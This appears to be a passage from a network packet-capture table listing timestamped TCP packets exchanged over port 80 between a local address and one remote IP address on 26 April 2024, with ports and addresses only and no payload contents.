Apr 26, 2024 09:41:03.727475882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727536917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727562904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727602005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727634907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727663994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727674007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727711916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727782011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727785110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727812052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727852106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727901936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727940083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727969885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.727977037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.727998972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728037119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728065014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.728131056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.728154898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728204012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728205919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.728276968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.728279114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728334904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728347063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.728383064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.728404999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728432894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728454113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.728511095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728554010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.728621960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.728624105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728683949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728728056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.728789091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.728921890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.728988886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729018927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729084015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729089022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729150057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729160070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729223967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729250908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729316950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729341984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729379892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729404926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729433060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729449034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729507923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729521036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729557991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729578972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729609966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729657888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729697943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729726076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729752064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729754925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729790926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729836941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729863882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.729902029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729938030 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.729968071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730003119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730027914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730067015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730087996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730124950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730135918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730175972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730197906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730232954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730246067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730312109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730314970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730376959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730386019 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730444908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730519056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730576992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730587959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730644941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730664015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730703115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730726004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730753899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730772018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730829000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.730902910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.730966091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.968138933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968256950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968296051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968333960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968368053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.968372107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968411922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968430996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.968466997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968502998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.968539953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.968624115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968662024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968688965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.968698978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968718052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.968754053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.968832970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968892097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.968919992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968957901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.968987942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969017029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969027042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969065905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969127893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969134092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969172955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969192982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969209909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969242096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969248056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969275951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969305992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969319105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969357014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969376087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969393969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969410896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969448090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969527960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969585896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969598055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969669104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969791889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969858885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969868898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969924927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.969939947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969979048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.969997883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970035076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970047951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.970087051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.970113039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970124006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.970153093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970184088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970192909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.970230103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.970242977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970283985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970426083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.970479012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970495939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.970552921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970659018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.970726013 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970834970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.970873117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.970906019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970921993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.970943928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970978975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.970993042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971034050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971059084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971072912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971088886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971126080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971142054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971179962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971199989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971230030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971277952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971332073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971518993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971590042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971596003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971663952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971713066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971772909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971776009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971811056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971834898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971848011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971868038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971899986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971919060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971956968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.971976042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.971993923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972014904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972053051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972138882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972177029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972203016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972230911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972245932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972282887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972311020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972337008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972446918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972507954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972527027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972589016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972686052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972724915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972753048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972762108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972779989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972819090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972836018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972876072 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.972897053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972929001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.972975016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.973038912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.973382950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.973421097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.973447084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.973473072 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.973475933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.973529100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.973545074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.973582029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.973603964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.973618984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.973634958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.973675966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.973720074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.973784924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.973790884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.973853111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.973861933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.973931074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.973936081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.973993063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.974179983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.974216938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.974251986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.974275112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.974541903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.974579096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.974612951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.974633932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.974657059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.974715948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.974729061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.974791050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.974879026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.974941015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.975022078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.975059986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.975090027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.975096941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.975114107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.975183010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.975219011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.975250959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.975260019 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.975322008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.975361109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.975399017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.975420952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.975450993 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.975523949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.975563049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.975589991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.975600004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.975620031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.975646019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.975876093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.975940943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976001024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976038933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976059914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976089954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976130962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976193905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976201057 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976239920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976259947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976293087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976305962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976344109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976368904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976399899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976412058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976450920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976473093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976507902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976674080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976742983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976768017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976807117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976830006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976859093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976862907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976902008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.976923943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976960897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.976989031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977029085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977046967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977066994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977081060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977113962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977135897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977174044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977196932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977210999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977231026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977268934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977279902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977319002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977341890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977372885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977390051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977427006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977451086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977482080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977526903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977565050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:03.977588892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977616072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:03.977701902 CEST	80	49730	185.172.128.111	192.168.2.4
